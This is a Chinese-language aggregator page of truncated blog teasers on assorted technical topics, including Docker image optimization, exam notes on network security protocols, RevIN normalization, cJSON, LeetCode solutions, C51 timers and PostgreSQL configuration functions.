在 Docker 镜像优化方面&#xff0c;有许多实战技巧可以显著减小镜像体积、提高构建效率和运行时性能。以下是一些实用的优化策略和具体操作方法&#xff1a; 1. 选择合适的基础镜像 策略 使用 Alpine 版本&#xff1a;Alpine 镜像通常只有 5-10MB&#xff0c;比 Ubuntu/Deb…...

【25软考网工】第六章(5)应用层安全协议

博客主页&#xff1a;christine-rr-CSDN博客 ​​专栏主页&#xff1a;软考中级网络工程师笔记 ​​​ 大家好&#xff0c;我是christine-rr !目前《软考中级网络工程师》专栏已经更新三十篇文章了&#xff0c;每篇笔记都包含详细的知识点&#xff0c;希望能帮助到你&#xff…...

RevIN(Reversible Instance Normalization)及其在时间序列中的应用

详细介绍 RevIN&#xff08;Reversible Instance Normalization&#xff09;及其在时间序列中的应用 1. RevIN 的定义与背景 RevIN&#xff08;可逆实例归一化&#xff09;是一种专门为时间序列预测设计的归一化方法&#xff0c;旨在处理非平稳数据&#xff08;non-stationar…...

JSON 和 cJSON 库入门教程

第一部分&#xff1a;了解 JSON (JavaScript Object Notation) 什么是 JSON&#xff1f; JSON 是一种轻量级的数据交换格式。它易于人阅读和编写&#xff0c;同时也易于机器解析和生成。 JSON 基于 JavaScript 编程语言的一个子集&#xff0c;但它是一种独立于语言的文本格式…...

Unity 2D 行走动画示例工程手动构建教程-AI变成配额前端UI-完美游戏开发流程

&#x1f3ae; Unity 2D 行走动画示例工程手动构建教程 ✅ 1. 新建 Unity 项目 打开 Unity Hub&#xff1a; 创建一个新项目&#xff0c;模板选择&#xff1a;2D Core项目名&#xff1a;WalkAnimationDemo ✅ 2. 创建文件夹结构 在 Assets/ 目录下新建以下文件夹&#xff1a…...

[Java][Leetcode middle] 45. 跳跃游戏 II

这题没做出来&#xff0c;看的答案解析 可以理解为希望采用最少得跳槽次数跳到最高级别的公司。 下标i为公司本身的职级&#xff0c;每个公司可以提供本身等级nums[i]的职级提升。 每次从这些选择中选择自己能够达到最大职级的公司跳槽。 public int jump(int[] nums) {if(nu…...

leetcode 3335. 字符串转换后的长度 I

给你一个字符串 s 和一个整数 t&#xff0c;表示要执行的 转换 次数。每次 转换 需要根据以下规则替换字符串 s 中的每个字符&#xff1a; 如果字符是 z&#xff0c;则将其替换为字符串 "ab"。否则&#xff0c;将其替换为字母表中的下一个字符。例如&#xff0c;a 替…...

Leetcode 3542. Minimum Operations to Convert All Elements to Zero

Leetcode 3542. Minimum Operations to Convert All Elements to Zero 1. 解题思路2. 代码实现 题目链接&#xff1a;3542. Minimum Operations to Convert All Elements to Zero 1. 解题思路 这一题的处理方法其实还是挺好想明白的&#xff0c;其实就是从小到大依次处理各个…...

如何使用C51的Timer0实现定时功能

在C51单片机中&#xff0c;使用定时器0&#xff08;Timer0&#xff09;实现定时功能需要以下步骤&#xff1a; 1. 定时器基础知识 时钟源&#xff1a;C51的定时器时钟来源于晶振&#xff08;如12MHz&#xff09;。机器周期&#xff1a;1个机器周期 12个时钟周期&#xff08;1…...

Day1 时间复杂度

一 概念 在 C 中&#xff0c;时间复杂度是衡量算法运行时间随输入规模增长的趋势的关键指标&#xff0c;用于评估算法的效率。它通过 大 O 表示法&#xff08;Big O Notation&#xff09; 描述&#xff0c;关注的是输入规模 n 趋近于无穷大时&#xff0c;算法时间增长的主导因…...

PostgreSQL 配置设置函数

PostgreSQL 配置设置函数 PostgreSQL 提供了一组配置设置函数&#xff08;Configuration Settings Functions&#xff09;&#xff0c;用于查询和修改数据库服务器的运行时配置参数。这些函数为数据库管理员提供了动态管理数据库配置的能力&#xff0c;无需重启数据库服务。 …...

美学心得(第二百七十六集) 罗国正

美学心得&#xff08;第二百七十六集&#xff09; 罗国正 &#xff08;2025年4月&#xff09; 3275、人类将迎来真、善、美快速发展的时期&#xff0c;人‐机合一的天人合一&#xff08;可简称为“天人机合一”&#xff09;的境界已渐露头角&#xff0c;在优秀的人群中迅猛地…...

描述性统计工具 - AxureMost 落葵网

描述性统计工具是用于汇总和分析数据&#xff0c;以更好地了解数据特征的工具1。以下是一些常见的描述性统计工具简介&#xff1a; 描述性统计工具 Excel 基本统计函数&#xff1a;提供了丰富的函数用于计算描述性统计量。例如&#xff0c;AVERAGE 函数用于计算平均值&#xf…...